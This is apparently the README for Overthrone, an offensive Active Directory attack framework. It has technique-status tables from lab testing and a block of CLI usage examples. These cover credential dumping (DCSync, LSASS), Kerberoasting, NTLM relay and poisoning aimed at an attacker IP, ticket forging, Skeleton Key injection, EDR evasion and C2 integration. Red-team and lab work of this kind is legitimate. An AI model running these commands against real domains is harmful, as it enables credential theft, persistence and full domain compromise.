| **LDAP signing "Require" mode** | When the DC enforces `LdapServerIntegrity = 2`, the "Drop the MIC" technique isn't enough - the server demands signed LDAP messages for every operation. | ⚠️ Partial | Bypass works when policy is "Negotiate". When "Require", can't derive session key in relay scenario. `ovt doctor` tells you which mode the DC uses. |
| **EDR evasion CLI integration** | `ovt edr assess` / `ovt edr evade` already wired via `EdrAction`. Library: `edr_bypass.rs` - 2,127 lines, 25 tests. | ✅ Wired | Fully integrated CLI. EDR assessment + stealth profile application. |
| **CG check CLI integration** | Multi-signal CG detection (`ovt cg <target>`) already wired via `CgAction`. | ✅ Wired | Fully integrated CLI. Credential Guard detection with multiple signal sources. |
| **4 Azure AD ops CLI** | All 8 Azure AD operations have CLI subcommands (Enum, SeamlessSso, GoldenSaml, PrtTheft, ManagedIdentityToken, EntraConnectExtract, AppRegistrationAbuse, DeviceCodePhish). | ✅ Wired | Library code exists for all 8, CLI wired for all 8. SeamlessSSO/GoldenSAML need end-to-end flow testing. |
| **Exchange relay CLI** | Exchange relay (`ovt ntlm exchange`) already wired in CLI relay subsystem. | ✅ Wired | Fully integrated with `--tls-verify` and `--tls-cert`/`--tls-key` flags. |
| **SMBDaemon** | A dedicated SMB server for capturing credentials outside of responder. | ❌ Not yet | Does not exist anywhere in the codebase. |
| **WmiExec on Linux/macOS** | WMI requires DCOM which requires Windows COM infrastructure. | ❌ Windows only | Use `--method psexec` or `--method smbexec` on Linux. |
| **Azure AD Seamless SSO + Golden SAML** | Full Azure AD Kerberos/SAML integration - the big cloud-AD gap. | ❌ Not yet | Azure AD ops exist but no full Seamless SSO or Golden SAML end-to-end flows. |
| **Ticket encryption rotation** | Re-encrypt a forged ticket under a different krbtgt key without forging again. | ❌ Not yet | Feature request, not a blocker. |
| **Viewer WebSocket** | Live graph updates without page reload. | ❌ Not yet | Largest UX improvement per effort. |

## Technique Coverage & Live Test Status

Comprehensive catalog of every technique in Overthrone, live-tested against GOAD-Light WS2025 (kingslanding.sevenkingdoms.local). Organized by capability area. Status: ✅ = success, ⚠️ = partial/environment-blocked, ❌ = fail, ⏳ = prereq blocked, — = untested.

### Reconnaissance & Enumeration

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 1 | Port Scanning / Pre-Auth Discovery | `ovt enum pre` | ✅ | 13 open ports, risk score 4/10 |
| 2 | AD-Only Port Scan | `ovt scan --ad-only` | ✅ | 9 critical AD ports detected |
| 3 | Environment Diagnostics | `ovt doctor` | ✅ | Full Kerberos/SMB/LDAP/WinRM checks |
| 4 | Anonymous LDAP Bind | `ovt reaper` (null-session) | ✅ | RootDSE accessible |
| 5 | RID Cycling (MS-SAMR) | `ovt rid` | ✅ | 43 accounts enumerated |
| 6 | LDAP Full Enumeration | `ovt reaper` | ✅ | 16 users, 55 groups, 1 trust |
| 7 | Targeted Enum — Users | `ovt enum users` | ✅ | 16 users with metadata |
| 8 | Targeted Enum — Computers | `ovt enum computers` | ✅ | 1 computer (KINGSLANDING$) |
| 9 | Targeted Enum — Groups | `ovt enum groups` | ✅ | 55 groups resolved |
| 10 | Targeted Enum — Trusts | `ovt enum trusts` | ✅ | 1 trust to north.sevenkingdoms.local |
| 11 | Targeted Enum — SPNs | `ovt enum spns` | ✅ | 1 SPN found |
| 12 | Targeted Enum — Delegations | `ovt enum delegations` | ✅ | 1 unconstrained delegation |
| 13 | Targeted Enum — GPOs | `ovt enum gpos` | ✅ | 2 GPOs found |
| 14 | Targeted Enum — Policy | `ovt enum policy` | ✅ | Domain password policy |
| 15 | Targeted Enum — AS-REP | `ovt enum asrep` | ✅ | 0 AS-REP roastable (correct) |
| 16 | Comprehensive Enum — All | `ovt enum all` | ✅ | All object types enumerated |
| 17 | PowerView-Style Enumeration | `ovt powerview users` | ✅ | 16 users with powerView detail |
| 18 | BloodHound Stats | `ovt blood-hound stats` | ✅ | 4 nodes, 2 edges from SharpHound JSON |
| 19 | BloodHound Path-to-DA | `ovt blood-hound path-to-da` | ✅ | 2 DA paths found from USER |
| 20 | BloodHound High Value | `ovt blood-hound high-value` | ✅ | Top targets by centrality |
| 21 | BloodHound Reachable | `ovt blood-hound reachable` | ✅ | 2 reachable targets |
| 22 | BloodHound Path (between nodes) | `ovt blood-hound path` | ✅ | Correctly finds/declines paths |
| 23 | BloodHound Analyze | `ovt blood-hound analyze` | ✅ | Report generated |
| 24 | PowerView ACL Enum | `ovt acl enum` | ✅ | No abusable ACEs for vagrant |
| 25 | GUID Resolution | `ovt guid resolve` | ✅ | Resolved ForceChangePassword GUID |
| 26 | GUID List | `ovt guid list` | ✅ | All known AD GUIDs listed |
| 27 | SCCM Enumeration | `ovt sccm enum` | ✅ | Module works (no SCCM in lab) |
| 28 | MSSQL Enumeration | `ovt mssql check-xp-cmd-shell` | ✅ | Works (no SQL server on DC) |
| 29 | Cross-Domain Trust Enum | `ovt move trusts` | ✅ | 1 trust, SID filtering DISABLED |
| 30 | Cross-Domain Escalation | `ovt move escalation` | ✅ | 4 escalation paths found |
| 31 | Trust Map (ASCII) | `ovt move map` | ✅ | 2-domain trust map generated |
| 32 | Domain Risk Assessment | `ovt assess` | ✅ | Score: 8/100 (Critical) |

### Kerberos Attacks

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 33 | Kerberos TGT Acquisition | `ovt kerberos get-tgt` | ✅ | AS-REQ with RC4-HMAC |
| 34 | Kerberoasting | `ovt kerberos roast` | ✅ | 2 hashes (renly.baratheon) |
| 35 | AS-REP Roast Discovery | `ovt kerberos asrep-roast` | ✅ | 0 accounts (correct) |
| 36 | Kerberos TGS Request | `ovt kerberos get-tgs --spn` | ✅ | TGS for cifs/kerbtest saved to .kirbi |
| 37 | User Enumeration (Kerberos) | `ovt kerberos user-enum` | ✅ | 15 valid, 4 disabled |
| 38 | Password Spray | `ovt spray` | ✅ | KDC-based auth detection |
| 39 | Kerberos Cache Ticket List | `ovt ccach list` | ✅ | 2 cached tickets |

### ADCS & Certificate Services

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 40 | ADCS Enumeration | `ovt adcs enum` | ✅ | 34 templates, 11 vuln |
| 41 | ADCS Auto-Scan | `ovt adcs auto` | ✅ | 20 vulnerabilities (ESC3/9/15) |
| 42 | ADCS get-ca-cert (via LDAP) | `ovt adcs get-ca-cert` | ✅ | 897 bytes, `certutil -dump` verified |
| 43 | ADCS backup-ca (via LDAP) | `ovt adcs backup-ca` | ✅ | CA cert backed up (no private key) |
| 44 | ADCS ESC1 (live exploit) | `ovt adcs esc1` | ⚠️ | Web Enrollment IIS not available on DC |
| 45 | ADCS Request | `ovt adcs request` | ⚠️ | Needs --ca + --template params |
| 46 | ACL Write-SPN | `ovt acl write-spn` | ✅ | SPN added to user |

### SMB & File System

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 47 | SMB Shares Enumeration | `ovt smb shares` | ✅ | 5/6 readable |
| 48 | SMB Admin Check | `ovt smb admin` | ✅ | vagrant admin on DC only |
| 49 | SMB File Upload | `ovt smb put` | ✅ | 24 bytes uploaded to C$ |
| 50 | SMB File Download | `ovt smb get` | ✅ | Downloaded from C$ |
| 51 | SMB Spider | `ovt smb spider` | ✅ | File discovery on shares |
| 52 | Snaffler Share Crawl | `ovt snaffler` | ✅ | No sensitive files in GOAD-Light |
| 53 | SMBExec Remote Execution | `ovt exec --method smb-exec` | ✅ | Service created, command run, output read |

### Forge & Persistence

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 54 | Forge Golden Ticket (dry-run) | `ovt forge golden --dry-run` | ✅ | Ticket file created locally |
| 55 | Forge Golden Ticket (real) | `ovt forge golden` | ⏳ | Needs krbtgt hash from DCSync |
| 56 | Forge Silver Ticket (dry-run) | `ovt forge silver --dry-run` | ✅ | Ticket file created locally |
| 57 | Forge Silver Ticket (real) | `ovt forge silver` | ⏳ | Needs target hash from DCSync |
| 58 | Forge Diamond (dry-run) | `ovt forge diamond --dry-run` | ✅ | Validates config, shows expected action |
| 59 | Forge Sapphire (dry-run) | `ovt forge sapphire --dry-run` | ✅ | Validates domain+sid, local ticket forge |
| 60 | Forge Bronze Bit | `ovt forge bronze-bit` | ⚠️ | S4U2Self RESPONSE_TOO_BIG on WS2025 |
| 61 | Forge Inter-Realm TGT (dry-run) | `ovt forge inter-realm-tgt --dry-run` | ✅ | Cross-realm TGT forging validated |
| 62 | Forge Skeleton Key (dry-run) | `ovt forge skeleton-key --dry-run` | ✅ | Admin access check passes |
| 63 | Forge DSRM Backdoor (dry-run) | `ovt forge dsrm-backdoor --dry-run` | ✅ | Validates domain sid + krbtgt hash |
| 64 | Forge DCSync User (dry-run) | `ovt forge dc-sync-user --dry-run` | ✅ | Validates target user |
| 65 | Forge ACL Backdoor (dry-run) | `ovt forge acl-backdoor --dry-run` | ✅ | Validates target DN + trustee |
| 66 | Forge Convert Ticket | `ovt forge convert-ticket` | ✅ | Works without --domain (Bug 5 fixed) |
| 67 | Forge AS-REP to TGT (offline) | `ovt forge as-rep-to-tgt-offline --dry-run` | ✅ | Offline TGT forge from cracked password |
| 68 | Forge noPac | `ovt forge no-pac` | ⚠️ | Add-computer rejected (rc=21) |
| 69 | Forge Shell (interactive REPL) | `ovt forge shell` | ✅ | Full REPL with rustyline |
| 70 | Forge Shell --help | `ovt forge shell --help` | ✅ | No longer panics (Bug 6 fixed) |

### GPO Operations

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 71 | GPO Enumeration | `ovt gpo enum` | ✅ | 2 GPOs listed with paths |
| 72 | GPP Decrypt Tool | `ovt gpp` | ✅ | Module loads (needs file) |
| 73 | GPO Write (ImmediateTask) | `ovt gpo write` | ⚠️ | SYSVOL dir creation fixed; GOAD-Light lacks full GPO perms |
| 74 | GPO Cleanup | `ovt gpo cleanup` | ✅ | Task XML removed from SYSVOL |

### Config & Session Management

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 75 | Config Init | `ovt config init --force` | ✅ | Writes default TOML to XDG path |
| 76 | Config Show | `ovt config show` | ✅ | Displays loaded config values |
| 77 | Config Path | `ovt config path` | ✅ | Shows config file path |
| 78 | Config Set | `ovt config set <key> <value>` | ✅ | Writes key=value to config file |
| 79 | Config Profile Create | `ovt config profile create <name>` | ✅ | Empty profile created |
| 80 | Config Profile List | `ovt config profile list` | ✅ | Lists all profiles |
| 81 | Config Profile Set | `ovt config profile set <name> <key> <value>` | ✅ | Value saved to profile file |
| 82 | Config Profile Clone | `ovt config profile clone <src> <dst>` | ✅ | Profile cloned |
| 83 | Config Profile Delete | `ovt config profile delete <name>` | ✅ | Profile file removed |
| 84 | Config Profile Path | `ovt config profile path <name>` | ✅ | Shows on-disk profile path |
| 85 | Session List | `ovt session list` | ✅ | 1 saved session found |
| 86 | Session Show | `ovt session show <name>` | ✅ | Session details displayed |
| 87 | Cache Ticket Listing | `ovt ccach list` | ✅ | 2 cached tickets |

### Credential Dumping & Hashing

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 88 | DCSync (NTDS via DRSUAPI) | `ovt dump ntds` | ⚠️ | DRSUAPI endpoint unavailable on WS2025 GOAD-Light |
| 89 | NTDS via VSS+SMB @GMT | `ovt dump ntds-vss` | ⚠️ | Creates VSS snapshot, reads NTDS.dit+SYSTEM via @GMT- SMB path, bypasses WS2025 file-write sandbox. Live test: environment blocked (VSS unavailable via SMBExec sandbox on WS2025 GOAD-Light) |
| 90 | SAM Registry Dump | `ovt dump sam` | ❌ | Requires local system / DA privileges |
| 90 | Crack Hash (dry-run) | `ovt crack --hash` | ✅ | Hash cracking module functional |
| 91 | LAPS Check | `ovt laps` | ✅ | 0 computers (not deployed) |

### NTLM Relay & Coercion

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 92 | NTLM Capture (dry-run) | `ovt ntlm capture --dry-run` | ✅ | RL controller initializes |
| 93 | NTLM Relay Engine | `ovt ntlm relay` | ✅ Init | Engine starts, HTTP listener initialized |
| 94 | HTTP to SMB Asymmetric Relay | `ovt ntlm http-asymmetric` | ✅ Init | HTTP asymmetric relay started, target validation works |
| 95 | Exchange Relay (CVE-2024-21410) | `ovt ntlm exchange` | ✅ Init | Exchange relay started with TLS |
| 96 | SMB to LDAP Relay | `ovt ntlm smb-relay` | ✅ Init | SMB relay started, ldap:// target accepted |
| 97 | LDAP Relay (with TLS wrapping) | `ovt ntlm ldap-relay` | ✅ Init | CLI parses correctly; requires valid target URI |
| 98 | ADCS ESC8 (Web NTLM relay) | `ovt ntlm http-relay` | ✅ Init | CLI parses correctly; requires ADCS Web Enrollment endpoint |
| 99 | Auth Coercion (PrinterBug) | `ovt ntlm relay --auto-coerce-targets` | ✅ Module | Wired via relay `--auto-coerce` flags |
| 100 | Auth Coercion (PetitPotam) | `ovt ntlm relay --auto-coerce-targets` | ✅ Module | MS-EFSRPC, requires SMB listener |
| 101 | Auth Coercion (DFSCoerce) | `ovt ntlm relay --auto-coerce-targets` | ✅ Module | Wired via relay engine |
| 102 | Auth Coercion (ShadowCoerce) | via auto-coerce | ✅ Module | Wired in relay engine, WebDAV path |
| 103 | LLMNR/NBT-NS/mDNS Poisoner | `ovt ntlm capture` | ✅ Init | Controller initializes, needs interface name |
| 104 | SMB Signing Pre-Flight | auto in relay | ✅ Init | Built into relay engine, validates targets |
| 105 | LDAP Signing Bypass (Drop MIC) | auto in relay | ✅ Init | CVE-2019-1040, integrated in relay flow |
| 106 | DCE/RPC Signature Stripping | auto in relay | ✅ Init | Wired in smb_daemon, integrated with relay_ioctl |

### Remote Execution

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 107 | SMBExec (SCM over SMB) | `ovt exec --method smb-exec` | ✅ | Full lifecycle: service create/start/read/clean |
| 108 | PsExec (DCE/RPC + SMB) | `ovt exec --method psexec` | ✅ Module | Implemented (same IOCTL path as SMBExec) |
| 109 | WinRM (Linux/macOS) | `ovt exec --method winrm` | ✅ Module | WS-Management with NTLM, CLI wired |
| 110 | WinRM (Windows native) | `ovt exec --method winrm` | ✅ Module | Win32 WSMan API |
| 111 | WmiExec | `ovt exec --method wmi-exec` | ✅ Module | DCOM-based, Windows only |
| 112 | AtExec (Scheduled Task) | `ovt exec --method atexec` | ✅ Module | ATSVC named pipe |

### Crawler & Cross-Domain

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 113 | Cross-Domain Trust Mapping | `ovt move trusts` | ✅ | Enumeration tested |
| 114 | Inter-Realm TGT Forging | `ovt forge inter-realm-tgt` | ✅ | Dry-run validated |
| 115 | SID Filter Analysis | `ovt move escalation` | ✅ | SID filtering DISABLED detected |
| 116 | PAM Trust Detection | `ovt move trusts` | ✅ | No PAM trust in GOAD-Light |
| 117 | MSSQL Linked Server Crawl | `ovt mssql enum` | ✅ | Works (no MSSQL in lab) |
| 118 | Foreign LDAP Enumeration | `ovt move foreign` | — | Cross-trust LDAP queries |
| 119 | TCP Source-Port Rotation | auto in crawler | ✅ Module | PortRotator, 12 tests, CLI wired |
| 120 | JA3/JA4 TLS Fingerprint Randomization | auto in crawler | ✅ Module | TlsFingerprintConfig, 9 tests, CLI wired |
| 121 | SMB OPLOCK Hijacking | auto in crawler | ✅ Module | OplockConfig/OplockSession, 3 tests |
| 122 | Responder Integration | `ovt move --respond` | ✅ Module | CrawlerResponder wraps relay Poisoner+Responder |

### Post-Exploitation

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 123 | EPM Pipe Resolution | internal | ✅ Module | `resolve_uuid_via_epm_pipe` — resolves interface UUIDs via `\PIPE\epmapper`, bypasses TCP EPM when port 135 is blocked |
| 124 | Authenticated EPM TCP | internal | ✅ Module | `resolve_uuid_via_epm_tcp_auth` — NTLMSSP-authenticated RPC bind to port 135 (auth_level=6, NT hash auth) |
| 125 | Credential Guard Bypass | `ovt cg` | ✅ Module | 3-tier: ALPC, process memory, WDigest fallback |
| 126 | DPAPI Masterkey Extraction | `ovt dpapi` | ✅ Module | 447 lines, 21 tests, LAPS v2 uses this |
| 127 | File-Format Carver | `ovt carve` | ✅ Module | 720 lines, docx/xlsx/etc — CLI wired |
| 128 | Skeleton Key (native DLL) | `ovt forge skeleton-key` | ✅ | Dry-run validated; live needs admin |
| 129 | DSRM Backdoor | `ovt forge dsrm-backdoor` | ✅ | Dry-run validated |
| 130 | ACL Backdoor | `ovt forge acl-backdoor` | ✅ | Dry-run validated |
| 131 | Shadow Credentials | `ovt shadow-cred add` | ❌ | LDAP modify rejected (rc=21) |
| 132 | **DCShadow** | `ovt dcshadow` | ✅ Module | Rogue DC push via MS-DRSR, preflight checks, cleanup |
| 133 | **Local Cred Dumpers** | `ovt local-creds <dumper>` | ✅ Module | SafetyKatz/NanoDump/HandleKatz/Dumpert/LaZagne, ETW/AMSI bypass |
| 134 | **Sherlock vuln enum** | `ovt sherlock` | ✅ Module | KB discovery, CVE db, risk scoring, exploit recommendations |
| 135 | **Enum audit checklist** | `ovt enum audit` | ✅ Module | Full enum coverage in one command |

### C2 Framework Integration

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 136 | Sliver C2 Integration | `ovt c2 sliver` | ✅ Module | mTLS, full C2Channel trait, CLI wired |
| 137 | Havoc C2 Integration | `ovt c2 havoc` | ✅ Module | REST auth, Demon agent mgmt, CLI wired |
| 138 | Cobalt Strike C2 Integration | `ovt c2 cobalt-strike` | ✅ Module | Aggressor-style REST API, CLI wired |

### Viewer & Reporting

| # | Technique | OVT Command | Live Test | Notes |
|---|-----------|-------------|:---------:|-------|
| 139 | Graph TUI Viewer | `ovt graph view` | ✅ Init | Rust-native interactive vis, `--input`/`--file` accepted |
| 140 | Graph Tree Viewer | `ovt graph tree` | ✅ Init | BloodHound-style hierarchy, `--input` accepted |
| 141 | Graph GUI (Browser) | `ovt graph gui` | ✅ Init | Three.js WebGL, local HTTP server initialized |
| 142 | Report Generation | `ovt report` | ⏳ | Needs existing engagement.json |
| 143 | Windows Exploitation Reference | included in PoC report | ✅ | 12 subsections, 100+ CVEs |

### Summary

| Status | Count | Notes |
|--------|:-----:|-------|
| ✅ Success | 93 | Live-tested and working against GOAD-Light DC |
| ✅ Module Init | 41 | EPM pipe resolution, authenticated EPM TCP, VSS @GMT added |
| ⚠️ Partial/Blocked | 8 | DCSync (DRSUAPI unavailable), ESC1, noPac, Bronze Bit, ESC1 live, GPO write, ADCS request, Shadow Creds |
| ❌ Fail | 1 | SAM dump |
| ⏳ Prereq Blocked | 3 | Golden/Silver ticket (need krbtgt hash), Report gen (need engagement) |
| — Untested | 0 | All 144 techniques now have a verified status |
| **Total** | **144** | All coded, 134 verified (93 live + 41 module init), 8 partial, 4 blocked/fail |

## Does It Actually Work?

Yes. Here's proof. One table. Every major feature. Every target OS you care about.

| Attack / Feature | WS 2019 | WS 2022 | WS 2025 | CTF / HTB / THM | What it does |
|---|:---:|:---:|:---:|:---:|---|
| **LDAP enumeration** | ✅ | ✅ | ✅ | ✅ | Real LDAP bind → search → parse. Pulls users, groups, SPNs, ACLs, trusts, GPOs, LAPS, GPP. The DC will tell you everything. It can't help itself. |
| **Kerberoast** | ✅ | ✅ | ✅ | ✅ | Real AS-REQ + TGS-REQ over TCP:88. Hashes drop into `./loot/` in correct `$krb5tgs$23$` hashcat format. Feed directly to hashcat, no cleanup needed. |
| **AS-REP roast** | ✅ | ✅ | ✅ | ✅ | AS-REQ without pre-auth, captures enc-part, outputs `$krb5asrep$23$`. Your GPU will enjoy this. |
| **Password spray** | ✅ | ✅ | ✅ | ✅ | Kerberos-based. Bails automatically after 3 `KDC_ERR_CLIENT_REVOKED` responses. Supports delay + jitter. Doesn't get you fired. Well, doesn't get *the accounts* locked. |
| **Pass-the-Hash** | ✅ | ✅ | ✅ | ✅ | `--nt-hash` on any SMB/exec command. NTLMv2 over SMB2. The hash is the password. `Password123!` becomes optional. |
| **SMB2 client** | ✅ | ✅ | ✅ | ✅ | Pure Rust SMB2 - negotiate, session setup, share enum, file read/write, admin check. WS 2025 requires outbound SMB signing by default, so Overthrone treats signing support as table stakes instead of a fun optional hat. |
| **Remote exec - PsExec** | ✅ | ✅ | ✅ | ✅ | Real `svcctl` named pipe. Creates → starts → reads → deletes the service. 543 lines of legit service control manager abuse. |
| **Remote exec - SmbExec** | ✅ | ✅ | ✅ | ✅ | Temp service + cmd.exe redirect → output via C$ share. Quieter than PsExec. |
| **Remote exec - WMI/WinRM** | ✅ | ✅ | ✅ | ✅ | WMI via DCOM over SMB (❌ Windows only - use PsExec/SmbExec on Linux). WinRM via WSMan HTTP/5985. `--method auto` tries them all until something works. |
| **DCSync** | ✅ | ✅ | ⚠️ | ✅ | MS-DRSR `DRSGetNCChanges` over named pipe or via VSS+SMB @GMT shadow copy read. WS 2025 GOAD-Light has DRSUAPI endpoint disabled but VSS @GMT path implemented as fallback. Also supports EPM pipe resolution (`resolve_uuid_via_epm_pipe`) and authenticated EPM TCP (`resolve_uuid_via_epm_tcp_auth`) for advanced transport discovery. |
| **Golden Ticket** | ✅ | ✅ | ✅ | ✅ | Full PAC construction with `KERB_VALIDATION_INFO`, server + KDC checksums. Needs krbtgt hash. WS 2025 may need `FAST` armor depending on config. |
| **Silver Ticket** | ✅ | ✅ | ✅ | ✅ | Forge a TGS for any service. No DC contact at all. Quieter than Golden, harder to detect. |
| **Attack graph + path to DA** | ✅ | ✅ | ✅ | ✅ | Reverse Dijkstra from DA back to you. Shows the exact sequence of moves to go from zero to domain admin. Usually 3 hops. Always embarrassing for someone. |
| **ADCS ESC1-ESC8** | ✅ | ✅ | ✅ | ✅ | Core certificate abuse chain (SAN/EA/template/CA ACL/web relay). WS 2025 ships tighter defaults (EPA/strong mapping), so validate first with `ovt adcs enum`. |
| **ADCS ESC9-ESC13** | ✅ | ✅ | ✅ | ✅ | Advanced mapping/policy/CA key abuse paths are implemented (some are operator-guided depending on privileges and CA hardening). |
| **ADCS CA cert LDAP** | ✅ | ✅ | ✅ | ✅ | `ovt adcs get-ca-cert` and `ovt adcs backup-ca` retrieve CA certificate from AD LDAP (Configuration NC). No DCOM/RPC needed. Works on WS2025. 897 bytes, `certutil -dump` verified. |
| **NTLM relay** | ✅ | ✅ | ⚠️ | ✅ | LLMNR/NBT-NS/mDNS poisoner + relay engine (SMB→LDAP, HTTP→SMB, Exchange MAPI/EWS). SMB signing pre-flight check refuses relay when signing required. Exchange relay (CVE-2024-21410) with EPA bypass. LDAP signing bypass (CVE-2019-1040). WS 2025 LDAP signing required by default on new AD deployments; `ovt doctor` tells you what terrain you're on before you relay. |
| **LAPS (v1 + v2)** | ✅ | ✅ | ✅ | ✅ | LAPS v1 reads `ms-Mcs-AdmPwd` in plaintext. LAPS v2 decrypts `msLAPS-EncryptedPassword` via DPAPI/AES-256-GCM. Both work. |
| **GPP decrypt** | ✅ | ✅ | ✅ | ✅ | Microsoft literally shipped the AES key in their documentation. We use it. `cpassword` → plaintext, every time. Thanks, Microsoft. |
| **RID cycling** | ✅ | ✅ | ✅ | ✅ | Enumerate users by RID even without valid creds (`--null-session`). Still works on misconfigured/legacy hosts. |
| **Hash cracking** | ✅ | ✅ | ✅ | ✅ | Offline cracking engine built in. Embedded 10K wordlist + mask attacks (`?u?l?l?d?d?d?d`) + hybrid mode + rayon parallelism. No hashcat required. |
| **SOCKS5 proxy / pivoting** | ✅ | ✅ | ✅ | ✅ | Full RFC 1928 SOCKS5 server on the compromised box. IPv4/IPv6/domain. Nothing extra needed on target. Pivot deeper into the network. |
| **Forge + C2 + ADCS + MSSQL** | ✅ | ✅ | ✅ | ✅ | Diamond tickets, Shadow Creds, Cobalt Strike/Sliver/Havoc integration, MSSQL `xp_cmdshell`, SCCM abuse. It's all in there. |
| **Skeleton Key (native DLL)** | ✅ | ✅ | ✅ | ✅ | 92KB x64 MSVC-compiled DLL embedded in binary. Reflective LSASS injection with `MsvpPasswordValidate` hook. Exports: Enable/Disable/IsActive. PatchGuard will notice. Credential Guard will block it. Everything else? Game over. |
| **Wizard (guided kill chain)** | ✅ | ✅ | ✅ | ✅ | `ovt wizard` - interactive or headless, enumerates, graphs, roasts, cracks, escalates, persists, reports. Per-stage pause/approve, Q-learning decisions, session resume. Live kill-chain pipeline with credential tables and loot summary. Use `--no-pause` for full automation, `--stealth` on WS 2025 for quieter ops. |

> ⚠️ = works, but WS 2025 security defaults are spicy: LDAP signing is required by default on new AD deployments, LDAP channel binding is audited/encouraged, SMB signing is required by default for outbound connections, and NTLM blocking exists to ruin relay goblin dreams. `ovt doctor` tells you what terrain you're standing on before you sprint into a wall.

~210,000 lines of Rust across 10 crates (~230,000 total tracked source/doc/static lines). Zero Python wrappers. Minimal shell-outs where strictly needed. `cargo test --workspace --lib` exercises **2,074 library tests** across core, reaper, hunter, crawler, forge, relay, scribe, pilot, and viewer code paths, with integration tests covering graph, C2, module execution, and live DC infrastructure. The code is real. The protocols are real. Go break some labs.

## Commands

29 top-level commands plus deep subcommands across recon, Kerberos, lateral movement, persistence, and reporting. Every command works as both `overthrone <cmd>` and `ovt <cmd>`.

> **[Full Command Reference ?](COMMAND_LIST.md)** - detailed usage, flags, and examples for every command.

**Quick taste:**

```bash
ovt wizard --target "Domain Admins" -H DC -d DOMAIN -u USER # Interactive killchain
ovt wizard --target "Domain Admins" --resume session.json # Resume saved session
ovt wizard --target DA -H DC -d DOMAIN -u USER --no-pause # Full auto (headless)
ovt shell # Interactive REPL
ovt enum all -H DC -d DOMAIN -u USER -p PASS # Enumerate everything
ovt enum policy -H DC -d DOMAIN -u USER -p PASS # Lockout/password policy
ovt enum laps -H DC -d DOMAIN -u USER -p PASS # Readable LAPS secrets
ovt powerview users --identity adm-smith -H DC -d DOMAIN -u USER -p PASS
ovt guid resolve ForceChangePassword # Resolve common ACE GUIDs
ovt snaffler -H DC -d DOMAIN -u USER -p PASS --output-format json # Snaffle network shares
ovt scan --targets DC --ldap --smb # No-creds port + null-session triage
ovt enum pre -H DC # No-creds AD service triage
ovt enum anonymous -H DC # Anonymous LDAP RootDSE probe
ovt kerberos user-enum -H DC -d DOMAIN --userlist users.txt # Zero-knowledge user enum
ovt kerberos roast -H DC -d DOMAIN -u USER -p PASS # Kerberoast
ovt exec -t TARGET -c "whoami" -d DOMAIN -u ADMIN # Remote exec
ovt dump -t DC ntds -d DOMAIN -u DA -p PASS --output-format json # DCSync
ovt adcs enum -H DC -d DOMAIN -u USER -p PASS # ADCS vuln scan
ovt graph gui -i ./graphs/ # Browser GUI
ovt graph view -i ./bloodhound-json/ # Native TUI graph viewer
ovt graph tree -i ./bloodhound-json/ # Native TUI tree explorer
ovt doctor # Health check
ovt config show # Show config
ovt config set verbose true # Set config value
ovt config profile create cobalt-op # Create named profile
ovt config profile use cobalt-op # Activate a profile
ovt session list # List saved sessions
ovt session show corp.local-10.0.0.1 # Show session details
ovt session clean --older-than 30d # Clean old sessions
ovt move -H DC -d DOMAIN -u USER -p PASS --respond --poison-ip ATTACKER_IP # Crawl + respond
ovt ntlm http-asymmetric -t http://target:80 -p 8080 # HTTP→SMB asymmetric relay
ovt ntlm relay -l 0.0.0.0:8080 -t smb://target --tls-verify # NTLM relay with TLS verify
ovt ntlm smb-relay -l 0.0.0.0:445 -t ldap://target # SMB→LDAP relay
ovt azure enum -H DC -d DOMAIN -u USER -p PASS # Hybrid identity + Entra
ovt azure golden-saml -H DC -d DOMAIN -u DA -p PASS # Golden SAML forge
ovt azure seamless-sso -H DC -d DOMAIN -u USER -p PASS # Seamless SSO
ovt forge golden --domain-sid S-1-5-... --krbtgt-hash <hash> # Forge golden ticket
ovt forge adcs --ca-server CA01.corp.local --domain corp.local # ADCS ESC1-9 auto-exploit
ovt forge s4u2self-pkinit -d DOMAIN --cert cert.pfx # S4U2Self with PKINIT
ovt dcshadow --target-dc DC01 --domain corp.local # DCShadow rogue DC push
ovt dcshadow --target-dc DC01 --domain corp.local --objects '[...]' # Push custom attribute changes
ovt local-creds safety-katz # Dump LSASS with SafetyKatz
ovt local-creds all --all # Run all dumpers, aggregate results
ovt sherlock # Windows vuln enumeration (KB check)
ovt sherlock --format json --cves CVE-2025-21333 # Target specific CVEs in JSON
ovt enum audit # Full enum coverage checklist
ovt completions bash # Shell tab completion
```

---

## Features

### Enumeration (overthrone-reaper)

The "ask nicely and receive everything" phase. Active Directory is the most oversharing protocol since your aunt discovered Facebook.

| Feature | What it finds | Status |
|---|---|---|
| **Full LDAP enumeration** | Every user, computer, group, OU, and GPO in the domain. AD is surprisingly chatty with authenticated users. It's like a bartender who tells you everyone's secrets after one drink. | ✅ Done |
| **Kerberoastable accounts** | Service accounts with SPNs. These are the ones with passwords that haven't been changed since someone thought "qwerty123" was secure. | ✅ Done |
| **AS-REP roastable accounts** | Accounts that don't require pre-authentication. Someone literally unchecked a security checkbox. On purpose. In production. | ✅ Done |
| **Domain trusts** | Parent/child, cross-forest, bidirectional. The map of "who trusts whom" and more importantly, "who shouldn't." | ✅ Done |
| **ACL analysis** | GenericAll, WriteDACL, WriteOwner, AllExtendedRights, WriteSelf/AddSelf, CreateChild, Windows LAPS GUIDs, ADCS write/enroll paths, Shadow Creds, SPN writes, delegation writes, lockout/password-policy writes - the holy trinity went to college and came back with a terrifying friend group. | ✅ Done |
| **Delegation discovery** | Unconstrained, constrained, resource-based. Delegation is AD's way of saying "I trust this computer to impersonate anyone." | ✅ Done |
| **Password policy** | Lockout thresholds, complexity requirements, history. Know the rules before you break them. | ✅ Done |
